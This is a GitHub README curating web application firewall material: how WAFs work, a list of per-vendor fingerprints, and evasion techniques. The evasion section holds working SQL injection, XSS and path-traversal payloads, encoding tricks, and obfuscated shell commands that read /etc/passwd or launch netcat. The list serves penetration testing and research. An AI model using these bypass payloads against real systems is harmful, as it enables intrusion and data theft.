Skip to content
🔥 A curated list of awesome web-application firewall (WAF) stuff.
Branch: master
Clone or download
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
images Delete text Jan 8, 2019
papers
presentations
CODE_OF_CONDUCT.md Create CODE_OF_CONDUCT.md Mar 13, 2019
CONTRIBUTING.md Added some more stuffs Mar 13, 2019
LICENSE Added license Feb 26, 2019
README.md

README.md

Awesome WAF Awesome

A curated list of awesome WAF stuff. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. You might want to keep this repo on a watch, since it will be updated regularly. "The community just learns from each other." #SharingisCaring

Main Logo

A Concise Definition: A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)

Feel free to contribute.

Contents:

Introduction:

How WAFs Work:

  • Using a set of rules to distinguish between normal requests and malicious requests.
  • Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

  • Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all <script>*</script> inputs.
  • Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
  • Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.

Testing Methodology:

Where To Look:

  • Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8008, 8080 and 8088 ports.

    Tip: You can use automate this easily by commandline using tools like like cURL.

  • Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
  • Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
  • Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
  • Some expose themselves in the Server header (eg. Approach, WTS WAF).
  • Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
  • Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

  1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
  2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
  3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
  4. If there is a login page somewhere, try some common (easily detectable) payloads like " or 1 = 1 --.
  5. If there is some input field somewhere, try with noisy payloads like <script>alert()</script>.
  6. Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
  7. Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
  8. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
  9. Many a times, the WAF varies the Server header upon different types of interactions.
  10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

    Tip: This method could be easily achieved with tools like HPing3 or Scapy.

  11. Side Channel Attacks - Examine the timing behaviour of the request and response content.

WAF Fingerprints

Wanna fingerprint WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.

360 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 493 upon unusual requests.
    • On viewing source-code of error page, you will find reference to wzws-waf-cgi/ directory.
    • Blocked response page source may contain:
      • Reference to wangshan.360.cn URL.
      • Sorry! Your access has been intercepted text snippet.
    • Response headers contain X-Powered-By-360WZB Header.
aeSecure
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains aesecure_denied.png image (view source to see).
    • Response headers contain aeSecure-code value.
Airlock (Phion/Ergon)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers may contain:
      • AL-SESS cookie field name (case insensitive).
      • AL-LB value (case insensitive).
Aliyundun Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
      • Reference to errors.aliyun.com site URL.
Anquanbao WAF
  • Detectability: Easy
  • Detection Methodology:
    • Returns blocked HTTP response code 405 upon malicious requests.
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
    • Response headers contain X-Powered-by-Anquanbao header field.
Armor Defense
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains warning
      This request has been blocked by website protection from Armor.
Application Security Manager (F5 Networks)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
Approach Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Approach Web Application Firewall heading.
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
      • Sorry for the inconvenience! keyword.
      • If this was an legitimate request please contact us with details! text snippet.
    • Server header has field value set to Approach Web Application Firewall.
ASP.NET Generic (IIS)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain X-ASPNET-Version header value.
    • Blocked response page content may contain:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Error Code 0x00000000< keyword.
    • X-Powered-By header has field value set to ASP.NET.
AWS (Amazon)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • AWSALB cookie field value.
      • X-AMZ-ID header.
      • X-AMZ-REQUEST-ID header.
    • Response page may contain:
      • Access Denied in their keyword.
      • Request token ID with length from 20 to 25 between RequestId tag.
Baidu Yunjiasu
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Yunjiasu-ngnix value.
Barikode Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      • BARIKODE keyword.
      • Forbidden Access text snippet in h1.
Barracuda WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
Bekchy (Faydata)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied.
    • Blocked response page contains reference to https://bekchy.com/report.
Better WP Security
  • Detectability: Easy
  • Detection Methodology:
    • Specific to only sites using CMS as Wordpress.
    • Plugin enumeration reveals the WAF plugin presence.
    • Making a GET request to wp-content/plugins/better-wp-security/ directory yeilds200 OK.
BitNinja Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text snippet.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text snippet.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
BIG-IP ASM (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BinarySec WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain binarysec keyword value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain reference to BlockDos.net URL.
CDN NS Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains by CdnNsWAF Application Gateway text snippet.
ChinaCache Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
    • Blocked response codes contain 400 Bad Request error upon malicious request.
Chuangyu WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response page has refernce to:
      • 365cyd.com or 365cyd.net URL.
      • Help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Cisco ACE XML Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers have ACE XML Gateway value.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content has Cloudbric and Malicious Code Detected texts.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
Cloudfront (Amazon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Error from cloudfront error upon malicious request.
Comodo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Protected by COMODO WAF value.
CrawlProtect (Jean-Denis Brun)
  • Detectability: Easy
  • Detection Methodology:
    • Response content contains value
      This site is protected by CrawlProtect.
Deny-All Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Response headers might contain DOSarrest keyword.
dotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Expression Engine (EllisLab)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid POST Request in response content.
FortiWeb Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains value .fgd_icon keyword.
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Set-Cookie header has cookie field cookiesession1=.
GreyWizard Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      We've detected attempted attack or non standard traffic from your IP address text snippet.
    • Blocked response page title contains Grey Wizard keyword.
    • Response headers contain greywizard keyword.
GoDaddy Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
HyperGuard Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
IBM DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Imperva SecureSphere
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Powered By Incapsula text snippet.
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses in response headers.
Immunify360 (CloudLinux Inc.)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain imunify360 keyword.
    • Response page contains:
      • Powered by Imunify360 text snippet.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
ISAServer
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= in response headers.
    • Response headers have jiasule-WAF or jsl_tracking keywords.
    • Blocked response content has notice-jiasule keyword.
KnownSec Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain AkamaiGHost keyword.
Malcare (Inactiv)
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text snippet.
      • Firewall powered by MalCare text snippet.
MissionControl WAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header field contains Mission Control value.
ModSecurity (Trustwave)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text snippet.
      • One or more things in your request were suspicious text snippet.
      • rules of the mod_security module text snippet.
    • Response headers may contain Mod_Security or NYOB keywords.
NAXSI (NBS Systems)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
Netcontinuum (Barracuda)
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NevisProxy (AdNovum)
  • Detectability: Moderate
  • Detection Methodology:
    • Response header cookies contain Navajo keyword.
NinjaFirewall (NinTechNet)
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text snippet.
      • NinjaFirewall keyword.
    • Returns a 403 Forbidden response upon malicious requests.
NetScaler (Citrix)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NewDefend Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain newdefend keyword.
NSFocus Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain NSFocus keyword.
onMessage Shield (Blackbaud)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain header X-Engine field with value onMessage Shield.
    • Response page may contain onMessage SHIELD keyword.
    • You might encounter response page with
      This site is protected by an enhanced security system to ensure a safe browsing experience.
Palo Alto Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains the following text snippet
      has been blocked in accordance with company policy.
PerimeterX Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
Profense Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Server header contain Profense keyword.
Proventia (IBM)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page might contain to request does not match Proventia rules text snippet.
pkSecurityModule IDS
  • Detectability: Moderate
  • Detection Methodology:
    • Response content may contain
      • pkSecurityModule: Security.Alert.
      • A safety critical request was discovered and blocked text snippet.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
    • Response headers may contain X-SL-CompState header field name.
Reblaze Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain rbzid= header field name.
    • Response headers field values might contain Reblaze Secure Web Gateway text snippet.
Request Validation Mode (ASP.NET)
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text snippet:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall (RSJoomla)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Sabre Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 500 Internal Error upon malicious requests.
    • Response content has:
      • Contact email dxsupport@sabre.com.
      • Your request has been blocked bold warning.
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
Safe3 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Safe3 keyword.
SafeDog Firewall
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Response headers may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecureIIS (eEye)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text snippet:
      • SecureIIS Web Server Protection.
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • SecureIIS Error text snippet.
SEnginx (Neusoft)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
Shadow Daemon WAF
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains request forbidden by administrative rules. keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      Something in the URL, Form or Cookie data wasn't appropriate text snippet.
SiteGround Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text snippet.
      • The server refuse to browse the page. text snippet.
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • SiteLock Incident ID text snippet.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall (Dell)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain SonicWALL keyword value.
    • Blocked response page contains either of the following text snippet:
      • This request is blocked by the SonicWALL.
      • #shd or #nsa_banner hashtags.
      • Web Site Blocked text snippet.
Sophos UTM Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text snippet:
      • BRICK-50 keyword.
      • 404 Not Found text snippet.
StackPath (StackPath LLC)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray (RiverBed/Brocade)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy keywords.
    • Blocked response page contains the following text snippet:
      • Access Denied and Sucuri Website Firewall texts.
      • Email cloudproxy@sucuri.net.
    • Returns 403 Forbidden response code upon blocking.
Tencent Cloud WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
Teros WAF (Citrix)
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contain cookie field st8id.
TrafficShield (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response headers.
URLMaster SecurityCheck (iFinity/DotNetNuke)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text snippet.
URLScan (Microsoft)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain Rejected-by-URLScan field value.
    • Blocked response page contains Rejected-by-URLScan text snippet.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains Request rejected by xVarnish-WAF text snippet.
    • Malicious request returns 404 Not Found Error.
VirusDie Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

        copyright notice.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm (Nginx)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain nginx-wallarm text snippet.
WatchGuard Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain WatchGuard header field value.
WebKnight (Aqtronix)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text snippet.
    • Blocked response code returned is 999 No Hacking. :p
West263 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Cache header field with WT263CDN value.
Wordfence (Feedjit)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • Generated by Wordfence text snippet.
      • A potentially unsafe operation has been detected in your request to this site text warning.
      • Your access to this site has been limited text warning.
      • This response was generated by Wordfence text snippet.
WordPress Cerber
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text snippet.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
XLabs Security WAF
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yundun Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Headers contain the yundun keyword.
Yunsuo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to .yunsuologo.
    • Response headers contain the yunsuo_session field name.
ZenEdge Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to zenedge/assets/ directory.
    • Headers contain the ZENEDGE keyword.
ZScaler (Accenture)
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to ZScaler.
    • Blocked response page contains:
      • Access Denied: Accenture Policy text.
      • Reference to https://policies.accenture.com URL.
      • Reference to image at https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Technique:

  • Load up your wordlist into fuzzer and start the bruteforce.
  • Record/log all responses from the different payloads fuzzed.
  • Use random user-agents, ranging from Chrome Desktop to iPhone browser.
  • If blocking noticed, increase fuzz latency (eg. 2-4 secs).
  • Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

  • This method often fails.
  • Many a times your IP will be blocked (temporarily/permanently).

Regex-Reversing:

Method:

  • Most efficient method of bypassing WAFs.
  • Some WAFs rely upon matching the attack payloads with the signatures in their databases.
  • Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Keyword Filter Detection/Bypass

Case: SQL Injection

• Step 1:

Keywords Filtered: and, or, union

  • Blocked Attempt: union select user, password from users
  • Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2:

Keywords Filtered: and, or, union, where

  • Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
• Step 3:

Keywords Filtered: and, or, union, where, limit

  • Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
  • Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

  • Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
  • Bypassed Injection: 1 || substr(user,1,1) = 'a'
• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

  • Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Bypassed Injection: 1 || user_id is not null
  • Bypassed Injection: 1 || substr(user,1,1) = 0x61
  • Bypassed Injection: 1 || substr(user,1,1) = unhex(61)
• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

  • Blocked Attempt: 1 || substr(user,1,1) = unhex(61)
  • Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

  • Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Bypassed Injection: 1 || lpad(user,7,1)
• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

  • Blocked Attempt: 1 || lpad(user,7,1)
  • Bypassed Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

  • Encoding payload to different encodings (a hit and trial approach).
  • You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

  • Some poorly developed WAFs filter selectively specific case WAFs.
  • We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

  • Encode normal payloads with % encoding/URL encoding.
  • Can be done with online tools like this.
  • Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Encoding

  • Most modern web-apps support UTF-8 and hence are prone to this method.
  • ASCII characters in unicode encoding encoding provide great variants for bypassing.
  • You can encode entire/part of the payload for obtaining results.

Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)

Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Encoding

  • Often web apps encode special characters into HTML encoding and render accordingly.
  • This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: "><img src=x onerror=confirm()>
Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. Mixed Encoding

  • WAF rules often tend to filter out a single type of encoding.
  • This type of filters can be bypassed by mixed encoding payloads.
  • Tabs and newlines further add to obfuscation.

Obfuscated:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

  • Comments obfuscate standard payload vectors.
  • Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

7. Double Encoding

  • Often WAF filters tend to encode characters to prevent attacks.
  • However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

8. Wildcard Encoding

  • Globbing patterns are used by various command-line utilities to work with multiple files.
  • We can tweak them to execute system commands.
  • Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. String Concatenation

  • Different programming languages have different syntaxes and patterns for concatenation.
  • This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>

Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. Junk Chars

  • Normal payloads get filtered out easily.
  • Adding some junk chars helps avoid detection (specific cases only).
  • They often help in confusing regex based firewalls.

Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>

Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. Line Breaks

  • Many WAF with regex based filtering effectively blocks many attempts.
  • Line breaks (CR/LF) can break firewall regex and bypass stuff.

Standard: <iframe src=javascript:alert(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)">

11. Uninitialized Variables

  • Uninitialized bash variables can evade bad regular expression based filters and pattern match.
  • Uninitialised variables have value null/they act like empty strings.
  • Both bash and perl allow this kind of interpretations.

BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa, $bbbbbb, and so on. You can replace them with any number of random chars like $ushdjah and so on. ;)

  • Level 1 Obfuscation: Normal
    Standard: /bin/cat /etc/passwd
    Obfuscated: /bin/cat$u /etc/passwd$u

  • Level 2 Obfuscation: Postion Based
    Standard: /bin/cat /etc/passwd
    Obfuscated: $u/bin$u/cat$u $u/etc$u/passwd$u

